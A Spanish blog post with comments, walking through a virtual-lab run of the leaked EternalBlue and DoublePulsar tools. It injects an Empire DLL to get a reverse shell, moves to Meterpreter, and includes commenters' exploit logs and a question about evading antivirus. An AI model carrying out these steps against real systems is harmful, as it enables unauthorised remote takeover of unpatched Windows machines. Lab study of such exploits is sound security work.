Siendo sincera, tengo tantas cosas que hacer que quería sobrevivir a este leak “mirándolo de costado” viendo qué comentaban mis amigos en base a sus propios test… Claramente no pude. Empezaron a hablar de “EternalBlue EternalBlaBlaBla” y yo pensaba “malditos me van a hacer levantar no sé cuántas máquinas virtuales para probar esto” y así fue.
Como ya todos
sabemos, el leak se publicó en este github: https://github.com/misterch0c/shadowbroker
así que el primer paso es descargarlo en un ambiente virtual.
Vamos a hacer uso
de Fuzzbunch que es el “Metasploit” de la NSA. El framework esta desarrollado
en Python2.6 y utiliza una versión también antigua de PyWin32, la 212.
Entonces, podemos
virtualizar un Windows XP e instalar las siguientes herramientas:
Python 2.6: https://www.python.org/download/releases/2.6/. (Agregalo a la variable PATH de Windows).
Todos son
instaladores ejecutables así que “siguiente, siguiente, siguiente…”.
Tras instalar lo
necesario, podríamos abrir un cmd.exe y movernos hasta la carpeta donde
descargamos el leak, puntualmente donde se encuentra el Fuzzbunch: “fb.py”
(dentro de la carpeta shadowbroker-master/Windows) y ejecutar "python fb.py"
pero eso no va a funcionar. El script arrojará un error de que no encuentra el
directorio “ListeningPost” y esto es porque dentro del leak, dicha carpeta vino
vacía y no contamos con ella. Por lo tanto, para evitar ese error, abrimos con
el Notepad++ el fb.py y simplemente comentamos la línea 72, donde se intenta
cargar el contenido de ListeningPost:
Adicionalmente,
podemos abrir el archivo Fuzzbunch.xml de la misma carpeta, y reemplazar las
rutas de las líneas 19 y 24 por rutas que existan en nuestro sistema, en mi
caso los dejé así:
Ahora sí,
ejecutamos desde la terminal el comando "python fb.py" y tendríamos que ver a Fuzzbunch ejecutándose correctamente:
Por otro lado,
necesitamos al menos una virtual con Windows 7 SP1 para impactar. En mi lab
tengo un Windows 7 SP1 x64 con la IP: 192.168.1.109 que será el target y el
Windows XP con Fuzzbunch en la IP 192.168.1.108 como atacante.
Cuando iniciamos
Fuzzbunch se nos pregunta la IP del target, ahí indicamos la IP del Windows 7.
Inmediatamente después se nos pide la IP del callback, que sería el atacante, o
sea, la IP del Windows XP.
Presionamos enter
para continuar y se nos pedirá indicar un nombre al proyecto, en mi caso como
pueden ver en la siguiente imagen, utilicé el que ya tenía creado “eternal1”.
Si no tienen ninguno, al presionar enter se les pedirá un nombre y nada más,
con ese dato ya se crea la carpeta de logs para ese proyecto y Fuzzbunch
quedará con la terminal en “fb>”.
El siguiente paso es seleccionar el exploit que vamos a usar, que es EternalBlue, para ello ejecutamos: use EternalBlue.
A partir de aquí, dejaremos con su configuración por default todos los parámetros que nos pregunte, EXCEPTO el siguiente:
Ahí el modo lo cambiamos a 1.
Finalmente nos
pregunta si queremos ejecutar EternalBlue, le damos “obvio, pero no te me escapes de la VM please”.
Si todo salió
bien, veremos al final el mensaje “Eternalblue succeeded”. La velocidad de impacto es excelente.
El siguiente paso
es aprovechar esto con DoublePulsar, para inyectar remotamente una DLL
maliciosa en el sistema impactado previamente con EternalBlue.
Para crear la DLL
nos mudamos para un Linux donde tengamos instalado el framework Empire: https://github.com/EmpireProject/Empire.
Paso 1: Creamos un listener que nos reciba la conexión
inversa al inyectarse la DLL
La dirección de “Host” ahí es la de ese Linux, en mi caso la 192.168.1.105.
Paso 2: Creamos
la DLL maliciosa
Ahora tenemos
nuestra DLL maliciosa en /tmp/launcher.dll, simplemente debemos copiar esa DLL
a la máquina virtual con XP para usarla con Fuzzbunch (máquina atacante).
Volviendo allí,
ahora ejecutamos use DoublePulsar en la terminal de Fuzzbunch.
A partir de ahí dejaremos con el valor por defecto todos los parámetros que se nos pregunten hasta llegar a lo siguiente:
Allí vemos de
seleccionar correctamente la arquitectura del Windows 7 que vamos a impactar,
en mi caso es x64. Luego, lo más importante, indicar que vamos a realizar una
inyección DLL; seguido a eso se nos pedirá la ruta local donde se encuentra esa
DLL, la cuál, es la que generamos con Empire y ya debemos tenerla copiada en la
máquina virtual atacante para usarla ahora con Fuzzbunch. El resto de los parámetros los dejamos con las
configuraciones por defecto.
Finalmente se nos
pregunta si deseamos ejecutar DoublePulsar...
Y si todo sale bien...
Mientras tanto en la máquina con Linux donde tenemos el listener de Empire, recibimos la conexión inversa:
YOU WIN!
Empire nos permite ejecutar en la máquina víctima prácticamente las mismas cosas que el meterpreter de Metasploit. Sin embargo, podemos hacer la migración desde el agente de Empire al listener de Meterpreter muy fácilmente.
Paso 1: Seteamos listener de meterpreter
Es importante que utilicemos el payload windows/meterpreter/reverse_httpS.
Paso 2: Utilizamos el módulo “code execution” de Empire para inyectar el meterpreter
Paso 3: Recibimos la Shell inversa de merterpreter :)
Conclusión: obtuvimos una shell de meterpreter sobre un Windows 7 SP1 x64 sin necesidad de interacción del usuario de este equipo, tan solo con conocer su IP. Esto me recordó a la facilidad con la que se obtiene el acceso a un Win XP mediante el ms08_067. El detalle, es que según el timestamp de EternalBlue, la NSA tenía esto desde el 2011.......
Eso es todo! Enjoy && EternalFun! ;)
Author: Sheila A. Berta.
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com
Tremendo post, perfectamente explicado!
ResponderBorrarAplausos de pié
Gracias :)
Borraryo hago eso mismo pero me sale el siguente error: lo hago desde windows 10 64bit y tengo python 3.5 mas el 2.6
ResponderBorrarTraceback (most recent call last):
File "C:\shadowbroker-master\windows\fb.py", line 37, in
from fuzzbunch.edfplugin import EDFPlugin
File "C:\shadowbroker-master\windows\fuzzbunch\edfplugin.py", line 7, in
from plugin import Plugin
File "C:\shadowbroker-master\windows\fuzzbunch\plugin.py", line 8, in
import truantchild
File "C:\shadowbroker-master\windows\fuzzbunch\truantchild.py", line 8, in
import exma
File "C:\shadowbroker-master\windows\fuzzbunch\exma.py", line 17, in
_libraries['exma.dll'] = ctypes.CDLL('exma-1.dll')
File "C:\Python26\lib\ctypes\__init__.py", line 353, in __init__
self._handle = _dlopen(self._name, mode)
WindowsError: [Error 193] %1 no es una aplicaci¾n Win32 vßlida
Fuzzbunch no soporta 64bits. Tienes que usar si o si un Windows x32 y python2.6.
BorrarSaludos.
Simplemente sublime. Gracias por la info
ResponderBorrarDe nada! Saludos! :)
Borrarsheila una consulta, de acuerdo a la información proporcionada por https://github.com/misterch0c/shadowbroker, has probado con ESTEEMAUDIT is an RDP exploit and backdoor for Windows Server 2003 ??, gracias
ResponderBorrarHola, no he probado ESTEMAUDIT aún, saludos!
BorrarSheila tengo una duda al momento de ejecutar el EternalBlue me aparece fallido
ResponderBorrarCORE terminated with status code 0xdf5d0036 Windows 5.1.
Error getting output back from Core; aborting...
Plugin failed
Error: EternalBLue failed
Agradesco me puedas ayudar
Eso ocurre cuando impactas con un equipo que tiene instalado el parche! saludos!
BorrarExcelente trabajo!
ResponderBorrarGracias :) Saludos!
BorrarNo conocia el blog, es exelente en todo sentido (por lo menos este articulo que es el que leí), mas tarde voy a hurgarlo mejor, muchas gracias por el aporte!.
ResponderBorrarGracias! Saludos!
Borrar[*] Started reverse TCP handler on 192.168.0.100:4444
ResponderBorrar[*] 192.168.0.104:445 - Generating Eternalblue XML data
[*] 192.168.0.104:445 - Generating Doublepulsar XML data
[*] 192.168.0.104:445 - Generating payload DLL for Doublepulsar
[*] 192.168.0.104:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.0.104:445 - Launching Eternalblue...
[-] Error getting output back from Core; aborting...
[-] 192.168.0.104:445 - Are you sure it's vulnerable?
[*] 192.168.0.104:445 - Launching Doublepulsar...
[-] 192.168.0.104:445 - Oops, something was wrong!
[*] Exploit completed, but no session was created.
Hola sheila, tenes idea por que no me carga el dobluepulsar y el eternalblue?
la ruta a la carpeta deps esta bien configurada :/
Muy buen blog es la primera que lo veo
Saludos
Hola, puede ser por multiples cosas. Metasploit ya ha incorporado el exploit reverseado, te recomiendo utilizar ese que prescinde de los binarios.
Borrarhttps://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
+] IPVICTIMA:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600
ResponderBorrar[!] IPVICTIMA:445 - Host is likely INFECTED with DoublePulsar! - Arch: x86 (32-bit), XOR Key:
0x5E367352
me podes ayudar por que no me llega la conexion meterpreter
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit
[-] Handler failed to bind to 192.198.1.36:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] IPVICTIMA:445 - Generating Eternalblue XML data
[*] IPVICTIMA:445 - Generating Doublepulsar XML data
[*] IPVICTIMA:445 - Generating payload DLL for Doublepulsar
[*] IPVICTIMA:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] IPVICTIMA:445 - Launching Eternalblue...
[+] IPVICTIMA:445 - Backdoor is already installed
[*] IPVICTIMA:445 - Launching Doublepulsar...
wine: Unhandled page fault on read access to 0x7f3c1c30 at address 0x7fc51cf7 (thread 0031), starting debugger...
0031:err:seh:start_debugger Couldn't start debugger ("winedbg --auto 32 184") (1115)
Read the Wine Developers Guide on how to set up winedbg or another debugger
[+] IPVICTIMA:445 - Remote code executed... 3... 2... 1...
[*] Exploit completed, but no session was created.
me podes ayudar sheila por que no me conecta la conexion meterpreter
Este comentario ha sido eliminado por el autor.
ResponderBorrarMuy bueno! Pero el antivirus de la máquina victima me detecta el dll y bloquea la conexión! Alguna sugerencia??? Gracias!
ResponderBorrar